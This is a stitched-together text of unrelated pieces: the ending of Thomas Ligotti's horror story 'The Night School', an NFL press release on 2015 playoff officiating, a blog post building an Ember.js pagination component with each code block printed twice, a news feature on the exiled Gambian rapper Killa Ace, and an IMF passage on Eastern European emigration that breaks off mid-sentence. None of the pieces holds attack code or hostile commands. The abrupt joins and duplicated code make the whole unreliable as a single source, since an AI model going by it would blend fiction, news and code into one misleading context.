overcoat I turned up a little stub of a pencil but could find nothing on which to take notes. Without any dramatic gestures, I scanned the room for some kind of paper. The visible areas of the room featured various items of debris without offering anything that would allow me to transcribe the complex instructions and diagrams demanded by the class. I was reluctant to make a physical search of the shelves set into the wall beside me because they were very deep and from them drifted that heady fragrance of decay.  Two rows to my left sat a man with several thick notebooks stacked on his desk. His hands were resting lightly on these notebooks, and his spectacled eyes were fixed on the empty lectern, or perhaps on the blackboard beyond. The space between the rows of desks was very narrow, so I was able to lean across the unoccupied desk that separated us and speak to this man who seemed to have a surplus of paper on which one could take notes, transcribe diagrams, and, in short, do whatever scribbling was demanded by the instructor of the class.  “Pardon me,” I whispered to the staring figure. In a single, sudden movement, his head turned to face me. I remembered his pitted complexion, which had obviously grown worse since our class last met, and the eyes that squinted behind heavy lenses. “Do you have any paper you could share with me?” I asked, and was somehow surprised when he shifted his head toward his notebooks and began leafing through the pages of the topmost one. As he performed this action, I explained that I was unprepared for the class, that only a short time before did I learn it had resumed. This happened entirely by chance, I said. I was coming home from a movie theater and decided to take a short cut across the school grounds.  By the time I was finished illuminating my situation, the other student was searching through his last notebook, the pages of which were as solidly covered with jottings and diagrams as the previous ones. I observed that his notes were different from those I had been taking for Instructor Carniero’s course. They were far more detailed and scrupulous in their transcriptions of those strange geometric figures which I considered only as decorative intrusions in the instructor’s diagrams. Some of the other students’ notebook pages were wholly given over to rendering these figures and symbols to the exclusion of the diagrams themselves.  “I’m sorry,” he said. “I don’t seem to have any paper I could share with you.”  “Well, could you tell me if there was an assignment?”  “That’s very possible. You can never tell with this instructor. He’s a Portuguese, you know. But he’s been all over and knows everything. I think he’s out of his mind. The kind of thing he’s been teaching should have gotten him into trouble somewhere, and probably did. Not that he ever cared what happened to him, or to anyone else. That is, those that he could influence, and some more than others. The things he said to us. The lessons in measurement of cloacal forces. Time as a flow of sewage. The excrement of space, scatology of creation. The voiding of the self. The whole filthy integration of things and the nocturnal product, as he called it, drowning in the pools of night.”  “I’m afraid I don’t recall those concepts,” I confessed.  “You’re new to the class. To tell the truth, you don’t seem to understand what the instructor is teaching. But soon enough he will get through to you, if he hasn’t already. You can never know. He’s very captivating, the instructor. And always ready for anything.”  “I was told that he recovered from the sickness that caused his absence, and that he was back teaching.”  “Oh, he’s back. He was always ready. Did you know that the class is now being held in another part of the school? I couldn’t tell you where, since even I haven’t been with Instructor Carniero as long as some of the others. To tell the truth, I don’t care where it’s being held. Isn’t it enough that we’re here, in this room?”  I had little idea how to answer this question and understood almost nothing of what the man had been trying to explain to me. It did seem clear, or at least very possible, that the class had moved to a different part of the school. But I had no reason to think that the other students seated elsewhere in the room would be any more helpful on this point than the one who had now turned his spectacled face away from me. Wherever the class was being held, I was still in need of paper on which to take notes, transcribe diagrams, and so forth. This could not be accomplished by staying in that room where everyone and everything was degenerating into the surrounding darkness.  For a time I wandered about the hallways on the main floor of the school, keeping clear of the walls which certainly were thickening with a dark substance, an odorous sap with the intoxicating potency of a thousand molting autumns or the melting soil of spring. The stuff was running from top to bottom down the walls, leaking from above and dulling the already dim light in the hallways.  I began to hear echoing voices coming from a distant part of the school I had never visited before. No words were decipherable, but it sounded as if the same ones were being repeated in a more or less constant succession of cries that rang hollow in the halls. I followed them and along the way met up with someone walking slowly from the opposite direction. He was dressed in dirty work clothes and almost blended in with the shadows which were so abundant in the school that night. I stopped him as he was about to shuffle straight past me. Turning an indifferent gaze in my direction was a pair of yellowish eyes set in a thin face with a coarse, patchy complexion. The man scratched at the left side of his forehead and some dry flakes of skin fell away. I asked him:  “Could you tell me where Instructor Carniero is holding class tonight?”  He looked at me for some moments, and then pointed a finger at the ceiling. “Up there,” he said. “Look up there.”  “On which floor?”  “The top one,” he answered, as if a little amazed at my ignorance.  “There are a lot of rooms on that floor,” I said.  “And every one of them is his. Nothing to be done about that. But I have to keep the rest of this place in some kind of condition. I don’t see how I can do that with him up there.” The man glanced around at the stained walls and let out a single, wheezing laugh. “It only gets worse. Starts to get to you if you go up any further. Listen. Hear the rest of them?” Then he groaned with disgust and went on his way.  But by that point I felt that any knowledge I had amassed— whether or not it concerned Instructor Carniero and his night classes — was being taken away from me piece by piece. The man in dirty work clothes had directed me to the top floor of the school. Yet I remembered seeing no light on that floor when I first approached the building. The only thing that seemed to occupy that floor was an undiluted darkness, a darkness far greater than the night itself, a consolidated darkness, something clotted with its own density. “The nocturnal product,” I could hear the spectacled student reminding me in a hollow voice. “Drowning in the pools of night.”  What could I know about the ways of the school? I had not been in attendance very long, not nearly long enough, it seemed. I felt myself a stranger to my fellow students, especially since they revealed themselves to be divided in their ranks, as though among the degrees of a secret society. I did not know the coursework in the way some of the others seemed to know it and in the spirit that the instructor intended it to be known. My turn had not yet come to be commanded by Instructor Carniero to look up at the hieroglyphs on the blackboard and comprehend them fully. So I did not understand the doctrines of a truly septic curriculum, the science of a spectral pathology, philosophy of absolute disease, the metaphysics of things sinking into a common disintegration or rising together, flowing together, in their dark rottenness. Above all, I did not know the instructor himself: the places he had been… the things he had seen and done… the experiences he had embraced… the laws he had ignored… the troubles he had caused… the fate that he had incurred, gladly, upon himself and others.  I was now close to a shaft of stairways leading to the upper floors of the school. The voices became louder, though not more distinct, as I approached the stairwell. The first flight of stairs seemed very long and steep, not to mention badly defined in the dim light of the hallway. The landing at the top of the stairs was barely visible for the poor light and unreflecting effluvia that here moved even more thickly down the walls. But it did not appear to possess any real substance, no sticky surface or viscous texture as one might have supposed, only a kind of density like heavy smoke, filthy smoke from some smoldering source of expansive corruption. And it carried the scent of corruption as well as the sight, only now it was more potent with the nostalgic perfume of autumn decay or the feculent muskiness of a spring thaw.  I climbed another flight of stairs, which ascended in the opposite direction from the first, and reached the second floor. Each of the four stories of the school had two flights of stairs going in opposite directions between them, with a narrow landing that intervened before one could complete the ascent to a new floor. The second floor was not as well‐lighted as the one below, and the walls there were even worse: their surface had been wholly obscured by that smoky blackness which seeped down from above, the blackness so richly odorous with the offal of worlds in decline or perhaps with the dark compost of those about to be born, the primeval impurity in which all things are founded, the native putridity.  On the stairs that led up to the third floor I saw the first of them — a young man who was seated on the lower steps of this flight and who had been one of the instructor’s most assiduous students. He was absorbed in his own thoughts and did not acknowledge me until I spoke to him.  “The class?” I said, stressing the words into a question.  He gazed at me calmly. “The instructor suffered a terrible disease, a monumental disease.” This was all he said. Then he returned within himself and would not respond. There were others similarly positioned higher on the stairs or squatting on the landing. The voices were still echoing in the stairwell, chanting a blurred phrase in unison. But the voices did not belong to any of these students, who sat silent and entranced amid the scattered pages torn from their voluminous notebooks. Pieces of paper with strange symbols on them lay scattered everywhere like fallen leaves. They rustled as I walked through them toward the stairs leading to the highest story of the school.  The walls in the stairwell were now swollen with a blackness that was the very face of a plague — pustulant, scabbed, and stinking terribly. It was reaching to the edges of the floor, where it drifted and churned like a black fog. Only in the moonlight that shone through a hallway window could I see anything of the third floor. I stopped there, for the stairs to the fourth were deep in blackness. Only a few faces rose above it and were visible in the moonlight. One of them was staring at me, and, without prompting, spoke.  “The instructor is holding class again despite his terrible disease. Can you imagine? He is able to suffer anything and has been everywhere. Now he is in a new place, somewhere he has not been.” The voice paused and the interval was filled by the many voices calling and crying from the total blackness that prevailed over the heights of the stairwell and buried everything beneath it like tightly packed earth in a grave. Then the single voice said: “The instructor died in the night. You see? He is with the night. You hear the voices? They are with him. And he is with the night. The night has spread itself within him. He who has been everywhere may go anywhere with the disease of the night. Listen. The Portuguese is calling to us.”  I listened and finally the voices became clear. Look up here, they said. Look up here.  The fog of blackness had now unfurled down to me and lay about my feet, gathering there and rising. For a time I could not move or speak or form any thoughts. Inside me everything was becoming black. The blackness was quivering in my bones, eating away at them, making everything black within my body. It was holding me, and the voices were saying, “Look up here, look up here.” And I began to look. But I aborted my gesture before it was completed. I was already too close to something I could not endure, that I was not prepared to endure. Even the blackness quivering inside me could not go on to its end. I could not remain where I was nor look up to the place where the voices called out to me.  Then the blackness seemed to exude from my being, washing itself out of me, and I was no longer inside the school but outside it, almost as if I had suddenly awakened there. Without looking back, I retraced my steps across the grounds of the school, forgetting about the short cut I had meant to take that night. I passed those students who were still standing around the fire burning in an old metal drum. They were feeding the bright flames with pages from their notebooks, pages scribbled to blackness with all those diagrams and freakish signs. Some of those among the group called out to me. “Did you see the Portuguese?” one of them shouted above the noise of the fire and the wind. “Did you hear anything about an assignment?” another voice cried out. And then I heard them all laughing among themselves as I made my way back to the streets I had left before entering the school grounds. I moved with such haste that the loose button on my overcoat finally came off by the time I reached the street outside the grounds of the school.  As I walked beneath the streetlights, I held the front of my overcoat together and tried to keep my eyes on the sidewalk before me. But I might have heard a voice bid me, “Look up here,” because I did look, if only for a moment. Then I saw the sky was clear of all clouds, and the full moon was shining in the black spaces above. It was shining bright and blurry, as if coated with a luminous mold, floating like a lamp in the great sewers of the night. The nocturnal product, I thought, drowning in the pools of night. But these were only words I repeated without understanding. My desire to know something that I was sure was real about my existence, something that could help me in my existence before it was my time to die and be put into the earth to rot, or perhaps have my cremated remains drift out of a chimney stack and sully the sky — that would never be fulfilled. I had learned nothing, and I was nothing. Yet instead of disappointment at my failure to fulfill my most intense desire, I felt a tremendous relief. The urge to know the fundament of things was now emptied from me, and I was more than content to be rid of it. The following night I went to the movie theater again. But I did not take a short cut home.  ____  “The Night School” by Thomas Ligotti. From Grimscribe. Copyright © 2015 by Thomas Ligotti. All Rights Reserved. Reprinted by arrangement with The McIntyre Agency.
-NFL clubs were notified today that the NFL Competition Committee has unanimously recommended, and Commissioner Roger Goodell has approved, a limited adjustment to officiating procedures for the 2015 playoffs. The change permits communication between the referee and NFL Vice President of Officiating Dean Blandino -- based in the league's officiating headquarters in New York -- regarding the correct application of rules in specific situations not currently covered by the instant replay rule.  The specific language of the approved change states:  For the 2015 Postseason, consultation may occur between the Referee and the VP of Officiating or his designee located in the league's officiating headquarters in New York regarding the correct application of playing rules. In addition to the VP of Officiating's current role in Instant Replay, this consultation will only include the appropriate assessment of penalty yardage, the proper administration of the game clock, the correct down, or any other administrative matter not currently reviewable.  This will not include the ability to call or change a foul, or otherwise become involved in on-field judgment calls that are not subject to the current Instant Replay system.  "The committee feels strongly that giving the referee and Dean the ability to consult with each other in certain situations beyond instant replay will further support officiating in the playoffs," said NFL Competition Committee Chairman Rich McKay. "The officials do a very difficult job exceedingly well, and we think this adjustment in the playoffs will make them even better."  Blandino and his staff in New York will not call or change a foul or become involved in on-field judgment calls beyond what is already part of the instant replay review process. Communication on administrative matters can be initiated either by Blandino or the referee.  Commissioner Goodell mentioned the concept for the playoffs with NFL owners at the December 2 league meeting in Dallas and said the Competition Committee was expected to make a recommendation shortly.  "We constantly strive to make our game progressively better for the players, coaches and fans," said NFL Executive Vice President of Football Operations Troy Vincent. "This change will assist our officials with an additional resource for clarity and consistency in game administration."
-For my current Ember.js project, I found myself needing some pagination controls. Thankfully,Zurb Foundation provides me some markup and CSS to base my pagination controls on, so I was free to focus more on the functionality. Essentially, all I needed was a little widget with three properties:  current page number  total number of pages  optionally, the maximum number of pages to display before the list is truncated  This looked like the perfect use case for an Ember Component. I wouldn’t even need to have the component trigger any actions, because anything using it could simply observe changes to the current page property! Let’s take a look at how I solved this.  Displaying a List of Clickable Page Numbers  To begin, I created a component with two properties: currentPage and totalPages. In order to actually display a list from this, I created a computed property named pageItems that would generate some objects to drive the UI. I also added an action handler to support selecting a new page:  LabCompass.PageNumbersComponent = Ember.Component.extend currentPage: null totalPages: null pageItems: (-> currentPage = Number @get "currentPage" totalPages = Number @get "totalPages" for pageNumber in [1..totalPages] page: pageNumber current: currentPage == pageNumber ).property "currentPage", "totalPages" actions: pageClicked: (number) -> @set "currentPage", number LabCompass.PageNumbersComponent = Ember.Component.extend currentPage: null totalPages: null pageItems: (-> currentPage = Number @get "currentPage" totalPages = Number @get "totalPages" for pageNumber in [1..totalPages] page: pageNumber current: currentPage == pageNumber ).property "currentPage", "totalPages" actions: pageClicked: (number) -> @set "currentPage", number  Then, my user interface was as simple as iterating over this list and displaying some markup. I’d recommend you take a look at the documentation for Foundation’s pagination to have a better idea of why things are being structured as they are.  .pagination-centered ul.pagination each item in pageItems if item.current li.current: a = item.page else li: a click="pageClicked item.page" = item.page .pagination-centered ul.pagination each item in pageItems if item.current li.current: a = item.page else li: a click="pageClicked item.page" = item.page  You may notice that I’m not using Ember objects to represent the individual pages. This is because I’m returning a new array each time the property is recomputed after being invalidated by its dependent keys, causing everything in the template to re-render. Since I don’t see any other reason why I’d be updating the individual pageItem objects, I left them as regular javascript objects, which the template can handle just fine.  Using the component is easy:  .row .small-12.column page-numbers currentPage=myCurrentPage totalPages=myTotalPages .row .small-12.column page-numbers currentPage=myCurrentPage totalPages=myTotalPages  Adding Buttons for Previous/Next  The next step was adding some arrow controls for stepping forward or backwards in the list of pages. This was easy enough; add some markup for the arrows and a couple of action handlers. I also wanted to have them reflect to the user whether they are currently clickable, so I added two computed properties (canStepForward, canStepBackward) to inform the template.  LabCompass.PageNumbersComponent = Ember.Component.extend currentPage: null totalPages: null pageItems: (-> currentPage = Number @get "currentPage" totalPages = Number @get "totalPages" for pageNumber in [1..totalPages] page: pageNumber current: currentPage == pageNumber ).property "currentPage", "totalPages" canStepForward: (-> page = Number @get "currentPage" totalPages = Number @get "totalPages" page < totalPages ).property "currentPage", "totalPages" canStepBackward: (-> page = Number @get "currentPage" page > 1 ).property "currentPage" actions: pageClicked: (number) -> @set "currentPage", number stepForward: -> @incrementProperty "page" stepBackward: -> @decrementProperty "page" LabCompass.PageNumbersComponent = Ember.Component.extend currentPage: null totalPages: null pageItems: (-> currentPage = Number @get "currentPage" totalPages = Number @get "totalPages" for pageNumber in [1..totalPages] page: pageNumber current: currentPage == pageNumber ).property "currentPage", "totalPages" canStepForward: (-> page = Number @get "currentPage" totalPages = Number @get "totalPages" page < totalPages ).property "currentPage", "totalPages" canStepBackward: (-> page = Number @get "currentPage" page > 1 ).property "currentPage" actions: pageClicked: (number) -> @set "currentPage", number stepForward: -> @incrementProperty "page" stepBackward: -> @decrementProperty "page"  .pagination-centered ul.pagination if canStepBackward li.arrow: a click="stepBackward" « else li.arrow.unavailable: a « each item in pageItems if item.current li.current: a = item.page else li: a click="pageClicked item.page" = item.page if canStepForward li.arrow: a click="stepForward" » else li.arrow.unavailable: a » .pagination-centered ul.pagination if canStepBackward li.arrow: a click="stepBackward" « else li.arrow.unavailable: a « each item in pageItems if item.current li.current: a = item.page else li: a click="pageClicked item.page" = item.page if canStepForward li.arrow: a click="stepForward" » else li.arrow.unavailable: a »  Truncating the Full List of Pages  Now things are looking good and working well. There’s one caveat, though: if there are a very large number of pages, things become a bit unwieldy. The next step is to specify a maximum number of pages to display, after which the clickable numbers get truncated and ellipses are inserted.  I decided to fix this by specifying a maximum number of options to display. If the number of pages exceeded this, then I would intelligently trim out some options and replace them with ellipses. This was easily the most complicated part of the entire process. E.g., if you’ve selected page number 4, it’s unlikely you want to see page 2 or 3 truncated out of the list. Similarly for the last few pages.  The solution I came up with was to take the array of objects we were already generating, then strip out and replace excess items with an ellipses marker. I also added a new property, maxPagesToDisplay, that controls when the page numbers will begin to be truncated.  LabCompass.PageNumbersComponent = Ember.Component.extend currentPage: null totalPages: null maxPagesToDisplay: 11 #should be odd pageItems: (-> currentPage = Number @get "currentPage" totalPages = Number @get "totalPages" maxPages = Number @get "maxPagesToDisplay" # ensure that maxPages is odd maxPages += 1 - maxPages % 2 pages = for pageNumber in [1..totalPages] ellipses: false page: pageNumber current: currentPage == pageNumber if pages.length > maxPages # determine position in truncated array (1 to max) positionOfCurrent = ((maxPages - 1) / 2) + 1 # does the position need to be shifted left? if positionOfCurrent > currentPage positionOfCurrent = currentPage # does the position need to be shifted right? if (totalPages - currentPage) < (maxPages - positionOfCurrent) positionOfCurrent = maxPages - (totalPages - currentPage) # if distance from max is greater than delta of values, truncate if (totalPages - currentPage) > (maxPages - positionOfCurrent) maxDistance = maxPages - positionOfCurrent overspill = totalPages - currentPage - maxDistance toRemove = overspill + 1 idx = totalPages - 1 - toRemove pages.replace idx, toRemove, [ ellipses: true ] # if distance from 1 is greater than delta of values, truncate if currentPage > positionOfCurrent maxDistance = positionOfCurrent overspill = currentPage - positionOfCurrent toRemove = overspill + 1 idx = 1 pages.replace idx, toRemove, [ ellipses: true ] pages ).property "currentPage", "totalPages", "maxPagesToDisplay" canStepForward: (-> page = Number @get "currentPage" totalPages = Number @get "totalPages" page < totalPages ).property "currentPage", "totalPages" canStepBackward: (-> page = Number @get "currentPage" page > 1 ).property "currentPage" actions: pageClicked: (number) -> @set "currentPage", number stepForward: -> @incrementProperty "currentPage" stepBackward: -> @decrementProperty "currentPage" LabCompass.PageNumbersComponent = Ember.Component.extend currentPage: null totalPages: null maxPagesToDisplay: 11 #should be odd pageItems: (-> currentPage = Number @get "currentPage" totalPages = Number @get "totalPages" maxPages = Number @get "maxPagesToDisplay" # ensure that maxPages is odd maxPages += 1 - maxPages % 2 pages = for pageNumber in [1..totalPages] ellipses: false page: pageNumber current: currentPage == pageNumber if pages.length > maxPages # determine position in truncated array (1 to max) positionOfCurrent = ((maxPages - 1) / 2) + 1 # does the position need to be shifted left? if positionOfCurrent > currentPage positionOfCurrent = currentPage # does the position need to be shifted right? if (totalPages - currentPage) < (maxPages - positionOfCurrent) positionOfCurrent = maxPages - (totalPages - currentPage) # if distance from max is greater than delta of values, truncate if (totalPages - currentPage) > (maxPages - positionOfCurrent) maxDistance = maxPages - positionOfCurrent overspill = totalPages - currentPage - maxDistance toRemove = overspill + 1 idx = totalPages - 1 - toRemove pages.replace idx, toRemove, [ ellipses: true ] # if distance from 1 is greater than delta of values, truncate if currentPage > positionOfCurrent maxDistance = positionOfCurrent overspill = currentPage - positionOfCurrent toRemove = overspill + 1 idx = 1 pages.replace idx, toRemove, [ ellipses: true ] pages ).property "currentPage", "totalPages", "maxPagesToDisplay" canStepForward: (-> page = Number @get "currentPage" totalPages = Number @get "totalPages" page < totalPages ).property "currentPage", "totalPages" canStepBackward: (-> page = Number @get "currentPage" page > 1 ).property "currentPage" actions: pageClicked: (number) -> @set "currentPage", number stepForward: -> @incrementProperty "currentPage" stepBackward: -> @decrementProperty "currentPage"  .pagination-centered ul.pagination if canStepBackward li.arrow: a click="stepBackward" « else li.arrow.unavailable: a « each item in pageItems if item.ellipses li.unavailable: a … else if item.current li.current: a = item.page else li: a click="pageClicked item.page" = item.page if canStepForward li.arrow: a click="stepForward" » else li.arrow.unavailable: a » .pagination-centered ul.pagination if canStepBackward li.arrow: a click="stepBackward" « else li.arrow.unavailable: a « each item in pageItems if item.ellipses li.unavailable: a … else if item.current li.current: a = item.page else li: a click="pageClicked item.page" = item.page if canStepForward li.arrow: a click="stepForward" » else li.arrow.unavailable: a »  This could definitely be done more efficiently. The best way would be to generate only items needed, deciding beforehand which ranges to cut out. Frankly, the performance appears to be fine, so I’m willing to leave things as-is until I notice a good reason to improve it.  Wrap-up  I’m really quite happy with how this turned out — largely due to Ember’s awesomeness. Ember’s computed properties and bindings are excellent. Without them, the implementation of a pagination control couldn’t have been so easy or fast to create, and it couldn’t have provided such a simple interface to its client code.
-When Killa Ace’s song became a rallying cry for change, he was forced to flee Gambia. Elections on Thursday might decide if he — and thousands of others in exile — can finally return home.  Marco Longari / AFP / Getty Images Supporters of Gambian President Yahya Jammeh in Banjul.  DAKAR — As a skinny, hot-headed teenager growing up in the Bronx, Ali Cham used rap as a safety valve to blow off steam about social injustices. He listened to Nas and Lupe Fiasco, and his own run-ins with the police inspired his lyrics. Cham’s friends called him AC. His Gambian parents, who’d moved to the US when he was 4, were disapproving when he added an E to the nickname and became Ace. Then he began skipping school to take part in rap battles, where friends would cheer him on. “Ace is a killer,” they’d yell. By the time Cham started calling himself Killa Ace, his parents decided it was time to return home. For a teenager stepping off a plane from New York, everything about Africa’s smallest country was a shock. “The situation in Gambia is crazy, especially if you come from an environment where you are free,” said Cham, wearing his usual baseball cap over his crown of spiky locs. “You can’t even have a conversation and say the president’s name out loud without somebody becoming scared. You have to use codes to say the president’s name.” That president, Yahya Jammeh, has ruled with an iron fist for 22 years. Gambians go to the polls on Thursday, but for the first time, they will have a credible opposition to choose from. Gambia has had only two presidents since independence in 1965, so the election raises the possibility of a third one finally being voted in. And for thousands like Cham who’ve fled the regime, the results could decide whether they can finally return home.  Courtesy of Ali Cham  When he returned home in 2000, Cham threw himself into the nascent hip-hop scene. He featured in Gambia’s first ever hip-hop compilation, set up a rare open mic night, released a solo album, and clinched his own radio show. Fans were drawn to his rhapsodies on social ills and pan-African themes. Invitations to regional hip-hop festivals followed and he even chipped in to Nigeria’s Bring Back Our Girls campaign by releasing a single. But something was troubling him. “I realized if I can do a song speaking out against a situation in another country, and I can’t actually speak out against what’s happening in my own country, it technically makes me a hypocrite, right?” Cham said in a recent interview in Dakar. So, last June, he released a song about Gambia’s own political woes. “If you don’t hear from me after this / you all know where I’m at and what’s going on,” he signed off on the track. In one of the world’s worst police states, it wasn’t hyperbole.  “Ku Boka C Geta G” — a proverb in the local Wolof language that means “if you’re part of the herd, you’re entitled to drink from the milk the cows provide” — instantly went viral. Overnight, it was played 24,000 times on SoundCloud, where it was first uploaded.  Over a heavy, grime-influenced beat, Cham took aim at the corruption that has deprived ordinary citizens of everything from employment to food security to freedom of expression. “But the main foundation and pillar of the song is that we Gambians are part of the country and we have a say,” he said. It was a dangerous truth to preach under Jammeh, a megalomaniac who during his two decades in power has cultivated a habit of jailing citizens for far smaller acts of defiance. Those languishing in overcrowded jails include a man who set up a social media profile using Jammeh’s name, another who lacked official permission to distribute T-shirts at a rally, and a third who failed to secure a permit to use a microphone. “I knew what was gonna happen next,” Cham said. Within two hours of the song’s release, he started receiving death threats from anonymous numbers. Officials turned up at his relatives’ houses. He and his family packed their bags and fled to Dakar, Senegal’s capital. They’ve been there since. But the song didn’t die with Cham’s departure. Instead, it became more popular. In the biggest nightclubs of Banjul, the Gambian capital, crowds screamed when the song came on. Students used it as cell phone ringtones. It became the country’s most popular hip-hop song, and a rallying anthem for change.  Marco Longari / AFP / Getty Images Adama Barrow is leading the opposition coalition against Jammeh.  Adama Barrow, a real estate developer who once worked as a store security guard in London, is now the regime’s biggest headache. Eight opposition parties have rallied behind him, which means the votes splintered among numerous candidates in previous elections could add up to defeat Jammeh in Thursday’s election. The only other candidate is a former ruling party MP, who some see as a decoy meant to split the coalition votes.  “This is an election which I will call the final test to his dictatorship. And it’s coming from the people’s power. People are out on the streets. Nobody would have ever, ever imagined that,” said Essa Bokarr Sy, a former ambassador to multiple countries in Jammeh’s administration. But challenging Jammeh comes at a high price. The coalition’s growing popularity has been matched by increasing arrests. At least three people have since died in detention, including a popular opposition leader. This month, two journalists were rounded up for broadcasting images of opposition supporters. Jammeh has called for his own supporters to remain calm ahead of what he says is certain victory. Meanwhile, he’s accused the opposition of being “evil vermin” who are being paid by Western governments to destabilize the country. “I don’t think that anyone is naïve enough to believe that a dictatorship that has entrenched itself for this long could easily be disposed of in a democratic election,” said Sidi Sanneh, a former foreign minister who is now a US-based dissident.  "He’s crude, he’s rude, he’s disrespectful, and he likes using force."  Still, he said this year would easily be the closest election since 1994. What began then as a hopeful revolution has long since morphed into something bordering a caricature of dictatorship. Jammeh was a 29-year-old officer who was largely welcomed when he overthrew the president, the sole ruler since the country’s independence. “Some people were even dreaming of another [Thomas] Sankara,” one of the continent’s most revered post-independence icons, said Sy, the former ambassador, who didn’t participate in the coup but had trained in the barracks alongside Jammeh. In the early days after Jammeh took power, literacy levels rose. Roads and schools were built. Basic services taken for granted elsewhere were seen as privileges in a country that still languishes at the bottom of development indexes. Today, Jammeh has amassed a personal fortune while 70% of the population live on less than $2 a day. “He’s crude, he’s rude, he’s disrespectful, and he likes using force — that one I know — but the flamboyant lifestyle, that one surprised me. He never showed any signal of wanting to be flashy in the barracks. He preferred wearing simple fatigues. Along the way, I don’t know what happened,” Sy said in a phone interview. Jammeh soon swapped military fatigues for flowing white gowns and a scepter, cementing his rule through a mind-boggling mix of calculated generosity, mysticism, and brutality. He threatened to “cut off the head” of gay people, and claimed he could cure a long list of maladies — from erectile dysfunction to a herbal mix that could cure HIV if applied on Thursdays. Human rights abuses piled up. He declared he would stay in power for a “billion years.” His most powerful weapon: convincing Gambians he is everywhere, all the time. The president’s face adorns everything from billboards to bars of soap, telephone credit cards to hotel lobbies. Enforcing his all-seeing eye is a feared private army, known as the “Junglers.” Nicknamed the “black blacks” for their black fatigues and balaclavas, the group report directly to the president, and reportedly keep a list of regime opponents to assassinate.  Marco Longari / AFP / Getty Images Jammeh listens to one of his aides during a rally.  Cham, aka Killa Ace, is typical of two-thirds of the population who have only ever known life under Jammeh.  He’s online a lot. He’s unemployed. And he’s also, like many, not a resident in the country. Despite having a population of only around 2 million, Gambia saw more migrants flee to Italy at the beginning of this year than any other country in the continent. If young people account for the bulk of those taking “the back way,” as it’s referred to locally, they’re also the driving force behind those increasingly speaking out against Jammeh’s rule. “Gambians are starting … to have courage. He can’t kill us all, obviously. He can’t arrest us all,” Cham said. Gambia’s sole neighbor and one of Africa’s most stable democracies, Senegal has become a home for thousands fleeing the regime. BuzzFeed News spoke with several exiles in Dakar, some of whom agreed to speak only on condition of anonymity because they didn’t want to endanger family members who are still in Gambia.  "He can’t kill us all, obviously."  One of them had served time in jail without ever being charged; another is so traumatized by his frequent contact with Jammeh that he still changes location every few weeks in Senegal, convinced the president has sent his guards to kill him. But everyone who spoke to BuzzFeed News agreed the anti-government rallies taking place were unlike anything they’d ever seen. “Before, my friends wouldn’t even post the president’s name on Facebook. Now I’m seeing people criticize him online,” one said. Another exile said that paranoia was most acute at State House, the official residence in Banjul, where the president frequently paced around in a rage. “It was just horrible. He’s always angry. You never know why. He will call you bastard, call your mother a bastard.” Leaving Jammeh’s inner circle — whether as a domestic worker or senior official — was dangerous. “The very day I started work, I regretted it. It doesn’t take you long to know that you’re in the wrong place but you can’t resign,” a former civil servant said. A security official recalled Jammeh storming into workers’ quarters and pouring freezing water on the sleeping staff. “Another time I saw him come and start spraying insecticide on a security guard. He was screaming, how can he have three security guards and one of them is sitting down. I said [to myself] — this guy, is he human or what?” Although few would deny that cracks are widening, Gambians are divided on whether Jammeh’s regime can be split apart from within — if at all. “The fear factor that exists among Jammeh’s [inner circle] is more than the fear factor among the general population,” said Sy. “Outside though, the fear factor has been removed; in part because of social media, people can see beyond the borders of Gambia.”  Marco Longari / AFP / Getty Images Gambians will vote by inserting marbles into metal drums.  Late in June, Cham sat on a cramped balcony overlooking a bustling street in a noisy Dakar district. In the room behind him, a slender woman lay on a mattress next to a sleeping toddler.  It was the end of Ramadan, and the city was celebrating. Cham had come to visit Sanna Camara, a Gambian journalist who is also living in exile. Camara’s crime: publishing a report on human trafficking. The two men drank tiny cups of sweet mint tea. At dawn, Camara’s wife and youngest child would take the bus back to Banjul, reversing the same journey her husband made on foot, in disguise, two years ago. “I’d prefer them to stay here — it’s not safe in Gambia, but I don’t have the money here,” Camara said. There’s a polite version of a saying in Wolof, one of several common languages in both countries, that refers to Gambia as “a banana shoved in the mouth of Senegal” — diplomatic bickering between the two countries centres around the outsized power Gambia wields as it effectively splits its much larger neighbor in two. “Jammeh is a thorn in Senegal’s side. But I think it’s a case of preferring the devil you know. [Senegalese President Macky] Sall and his government’s fear of who, or what, could be next in the Gambia if Jammeh goes likely outweighs their disdain for the status quo,” said Joshua Shrager, a former US diplomat based in Gambia until 2014. But Jammeh may have much more to lose. In addition to common languages, similar cultures interweave between the two countries. Rappers are a powerful political force in Senegal; twice in recent years, a coalition of rappers, including Positive Black Soul and Y En A Marre (French for “fed up”), derailed attempts by the former president to tinker with the constitution and run for a third term. From Banjul, Cham watched their movements closely. “I realized there was a bunch of rap artists from Senegal, some were part of the Y En A Marre movement, they did a song speaking out against Yahya Jammeh. I realized that if brothers from Senegal can do [that], as a person who has been a victim of police brutality, a person that has a lot of friends that took illegal immigration to Europe and so on, I realized, it’s just time. The time is now.”  Courtesy of Ali Cham  Soon after fleeing to Senegal, Cham appeared on a popular rap news show, called Le Journal Rappe, which broadcasts in both French and Wolof. This episode was dedicated to Gambia. “OK, now, can you tell us about the freedom of speech in your country?” the presenter asked in French-accented English. For saying the wrong thing you end up in detention TV is controlled by his name I can’t mention Hey yo, it’s crazy how we living out here Cos we scared to speak our minds Cos we really living in fear As soon as you cross the border you feel it in the air Since the beginning of this year, Jammeh has effectively closed the border between the two countries by imposing a blockade.  Marco Longari / AFP / Getty Images Opposition supporters during a campaign rally.
-The opening up of Eastern Europe to the rest of the world in the early 1990s brought about tremendous benefits. The inflow of capital and innovation has led to better institutions, better economic management, and higher efficiency. On the flip side, it has also led to sizable and persistent outflow of people.  Close to 20 million, mostly young and skilled Eastern Europeans—equal to the combined population of the Czech Republic and Hungary—left their countries over the past 25 years to seek better opportunities abroad (Chart 1). And even as they have contributed to the riches of the receiving countries and the EU as a whole, their departure has slowed growth and convergence of their home countries to the living standards of advanced Europe. A study by IMF staff proposes policy options to balance the scales. Emigration slowed growth in Eastern Europe Economic migration is driven by personal choices. For Eastern Europeans, the motivation to leave is mainly better jobs and higher pay (Chart 2). Many of these economic migrants are highly skilled (e.g., doctors, architects, engineers) and younger than the average person at home. The less effective the government and the weaker the institutions (guarding the rule of law, upholding accountability and fighting corruption) in their home countries, the more likely the young and educated are to seek better opportunities abroad. While emigrants themselves tend to be better off and their families back home often benefit from remittances, their departure weakens the economic potential of their home countries. This has left Eastern European countries worse off (Chart 3). Large and persistent emigration appears to have slowed both overall and per capita output growth rates. In the absence of emigration between 1995 and 2012, real GDP growth would have been altogether 7 percentage points higher on the average in the region, according to analytical work by IMF staff. Some skills are in short supply, lowering productivity growth in the East. And while the large inflow of remittances has supported investment and consumption, it also led to exchange rate appreciation, making 